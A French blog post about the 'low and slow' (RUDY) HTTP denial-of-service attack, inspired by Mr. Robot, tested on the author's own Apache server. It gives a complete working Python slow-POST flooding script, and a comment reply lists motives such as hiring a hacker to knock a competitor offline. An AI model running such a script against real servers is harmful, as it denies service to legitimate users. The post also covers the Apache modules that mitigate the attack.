Attaque DoS Low and Slow

Je viens de découvrir une série Américaine appelée « Mr.Robot ».
Ca se déroule à New-York et ça parle d’un hacker qui bosse pour une grosse boite spécialisée dans la cyber-sécurité et qui, à côté de ça, s’amuse à pirater les gens pour découvrir des informations confidentielles sur eux. (Puis les fait ensuite chanter si ils ne sont pas moralement ou légalement « corrects »)
Une sorte de cyber-justicier en somme.
Je viens de visionner la saison et je dois avouer que je suis plutôt agréablement surpris.
Dans ce genre de séries/films, je regarde un peu le côté informatique technique et je suis très souvent déçu par le fait qu’on se fou souvent du spectateur en partant du principe que, « de toutes façons il n’y connait rien, on peut raconter n’importe quoi, il va pas aller vérifier ! ». C’est un peu la philosophie qu’on retrouve dans beaucoup de films qui traitent un minimum de Hacking (Je pense notamment à Opération Espadon, Hackers, ou Independance Day où les mecs arrivent quand même à gagner la guerre contre les aliens en piratant l’ordinateur du vaisseau du chef extra-terrestre)
D’ailleurs j’ai trouvé une petite liste de films qui sont de vraies perles en terme de conneries sur le piratage informatique (certains plus que d’autres), ici.
A l’inverse, il existe des films ou des scènes plutôt réalistes. Je pense notamment à « Cybertraque », le film sur l’histoire de Kevin Mitnick ou alors, en plus récent, la scène de ‘Hacking’ de « The Social Network »
Tout ça pour dire que les épisodes de « Mr.Robot » sont plutôt réalistes mis à part quelques absurdités.

Bref. Dans ce fameux épisode, les protagonistes évoquent un type d’attaque par déni de service appelé « Attaque RUDY ».
Un terme qui m’était inconnu à ce moment. Une petite recherche sur le web pour découvrir que le nom exact d’une telle attaque est « Attaque DoS Low and Slow » et RUDY est le nom de l’outil : « R U Dead Yet ? »
C’est en fait une attaque par déni de service qui est réalisable avec très peu de moyens, qui utilise la couche Application du modèle OSI et qui touche essentiellement les serveurs synchrones. (Comme Apache par exemple ! Toujours lui, je sais…)

Le principe est d’établir une connexion avec la cible, de forger une requête correcte et de l’envoyer par petits bouts (disons octet par octet). Chaque octet est envoyé toutes les X secondes, ce qui force le serveur à maintenir une connexion pendant un long moment.
En multipliant les connexions simultanées, on oblige le serveur à maintenir une multitude de connexions ouvertes. Au bout d’un moment, il n’est plus capable de servir correctement et l’utilisateur légitime ne peut plus accéder au service.
Ça fait un peu penser au SYN FLOOD.

J’ai donc réalisé une telle attaque sur mon environnement de tests.

Mise en place du serveur

Rien de plus simple, je me contente de la dernière version d’Apache httpd disponible dans les dépôts: Apache 2.4.7

sudo apt-get install apache2

On va lister les modules chargés par Apache.

En effet, il semble qu’Apache propose des modules pour se protéger contre ce genre d’attaque, d’après cette page, il s’agit de:

  • mod_reqtimeout
  • mod_qos
  • mod_security

On tape donc:

apache2ctl -M

Et voilà le résultat sur ma machine:

screenshot1

 

Aucun des trois modules n’est donc activé par défaut.

Le serveur est accessible via le port 80 sur le réseau local.

Je vais tenter d’accéder au serveur depuis mon téléphone, je récupère donc l’adresse IP de ma machine.

ifconfig

screenshot2

Je me connecte sur 192.168.0.25 depuis le navigateur de mon téléphone.

J’obtiens bien la page d’accueil par défaut:

screenshot4

On va pouvoir lancer l’attaque

Écriture du programme et attaque

J’ai décidé d’écrire un simple script Python qui démarre 500 threads, envoie autant de requêtes HTTP POST avec 1024 octets de données à peu près à la vitesse d’ 1 octet par seconde.

Voilà ce que ça donne:

import socket
import time
from threading import Thread

class Attack(Thread):
	def __init__(self, host, port):
		Thread.__init__(self)
		self.host = host
		self.port = port
		self.ipAddr = socket.gethostbyname(host)
		self.req = "POST / HTTP/1.1\r\nHost: localhost\r\nConnection: keep-alive\r\nContent-type: application/x-www-form-urlencoded\r\nContent-Length: 1024\r\n\r\n"

	def run(self):
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((self.ipAddr, self.port))
		s.send(self.req)
		for i in range(0, 1024):
			try:
				s.send("a")
				print "Sending Data..."
				time.sleep(1)
			except:
				s.close()
				print "Reconnection..."
				self.run()




if __name__ == "__main__":
	t = []
	for i in range(0,500):
		thread = Attack("127.0.0.1", 80)	
		thread.start()
		t.append(thread)
		print "Starting thread..."

	for i in t:
		i.join()
attack.py

Il n’y a plus qu’à le lancer:

screenshot3

 

Je tente ensuite de me connecter via le téléphone.

C’est lent… Ca charge dans le vide, puis au bout de quelques minutes j’obtiens un joli message d’erreur:

 

screenshot5

 

Et voilà !

C’est rapide et facile à mettre en oeuvre et ça doit également fonctionner sur d’autres types de serveurs synchrones.

Pensez à activer les modules cités au dessus ou choisissez une autre solution comme Nginx 🙂

10 thoughts on “Attaque DoS Low and Slow

  1. Oui attaque classique et très facile à faire. Mais comme tu le dit il suffit de charger les modules recommandés pour l’environnement de production pour régler ce problème.

    Mais du coup, d’où viens réellement le problème ? Apache reçoit donc en moyenne 1 * 500 octets par secondes, ce qu’il peut normalement gérer. Cela viens donc de la manière dont apache gère la file d’attente entre les différents « clients », la file d’attente est pleine ? (ça m’étonne pour seulement 500 threads), ou le nombre de connexions ouverte simultanée est limitée ?

    1. Les serveurs synchrones sont conçus pour traiter chaque demande de client dans un thread différent et limitent par conséquent le nombre de threads simultanés. Dès qu’une requête est traitée le thread est libéré et peut gérer la requête provenant d’un autre client. Tant que la requête n’est pas terminée, le thread est sollicité. Avec N threads disponibles, et en envoyant N requêtes très lentes en simultané, tous les threads sont occupés et le serveur ne répond plus aux utilisateurs légitimes.
      Une des solutions est de mettre en place un timeout global pour chaque thread. Si la requête entière n’a pas été reçue dans le temps imparti, le serveur doit laisser tomber et libérer le thread.
      Il suffit en effet d’activer les bons modules pour régler le problème. Mais ils ne l’étaient pas par défaut, ce qui est inquiétant.
      De plus j’ai fixé l’attaque sur 500 threads mais d’après différents articles que j’ai lu, c’est réalisable avec à peine 200.

  2. Salut!

    Quand-est-ce qu’est appelée la méthode run() de Attack dans le script? c’est une méthode abstraite appelée dans start()?

    Sinon, à quoi sert la méthode join() que tu utilises à la fin du main?

    et merci! 😉

    1. Salut
      La méthode run() est appelée par start(). start() démarre un nouveau thread et y exécute donc les instructions de run(). La méthode join() de la classe Thread sert à indiquer au thread principal qu’il faut attendre la fin d’exécution du thread. Sans appeler join() le main peut se terminer alors qu’il y a encore des threads en cours d’exécution (dans ce cas là, tous les threads en cours d’éxecution sont tués, ce qui n’est, évidemment, pas souhaitable)

  3. Excellent article Gabriel. Je suis tombé sur ton article en faisant une recherche google concernant l’attaque RUDY indiqué sur Mister Rotot. J’ai fais un petit tour sur ton site, les autres articles sont tout aussi intéressant. Félicitation à toi.

  4. arriver ici comme bocoup apres avoir vue Mr Robot S1 E1 je trouve ton article fort intéréssant et bien documenté … je vais donc continuer a regardé le reste … mais mis a part de planter un serveur quel est l’utilité d’une tel attaque ?
    Ok c’est marant de faire planter un serveur mais cela te permet il de récupéré des donné avoir acces au serveur ou autre ? ou c’est juste une branlette intelectuelle de ce dir « ouaaaaouuu je suis trop fort j’ai fait planté monbouché.com »

    1. Pour faire court, non une attaque par déni de service ne permet pas, en elle même, d’accéder à des données protégées. Le déni de service entrave le côté « disponibilité » du système. Si tu ne vois pas l’intérêt d’une telle attaque, voilà quelques éléments de réponse:
      – Admettons que tu possèdes un site de E-commerce et ton concurrent fait plus de chiffre que toi, il est d’ailleurs référencé devant toi sur les moteurs de recherche. Tu décides de payer les services d’un pirate pour rendre son site inaccessible et récupérer ses clients mécontents. => En résulte un manque à gagner énorme pour ton concurrent, et ta clientèle qui croît.

      – Tu fais du hacktivisme et tu veux simplement empêcher l’accès à un service. Un site web de la propagande qui ne te plait pas ? Un déni de service et c’est réglé. Pour la petite histoire, le site web « jaimelesartistes.fr » qui promouvait la loi Hadopi a été victime d’une attaque par déni de service et a été fermé définitivement suite à ça.

      – Le service propose des informations que tu ne souhaites pas voir sur Internet. Ce fut le cas pour Wikileaks en 2010 qui a reçu des attaques par déni de service à la suite de la publication de notes confidentielles de la diplomatie des USA.

      De manière générale, beaucoup d’entreprises fonctionnent à l’aide de leurs services web et perdent énormément dès que l’un des services est inaccessible pendant ne serait-ce que quelques minutes.
      C’est d’ailleurs bien illustré dans Mr.Robot où les services d’E-Corp restent inaccessibles pendant quelques heures et que l’entreprise perd plusieurs millions de dollars.

Répondre à tahiti Annuler la réponse.

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *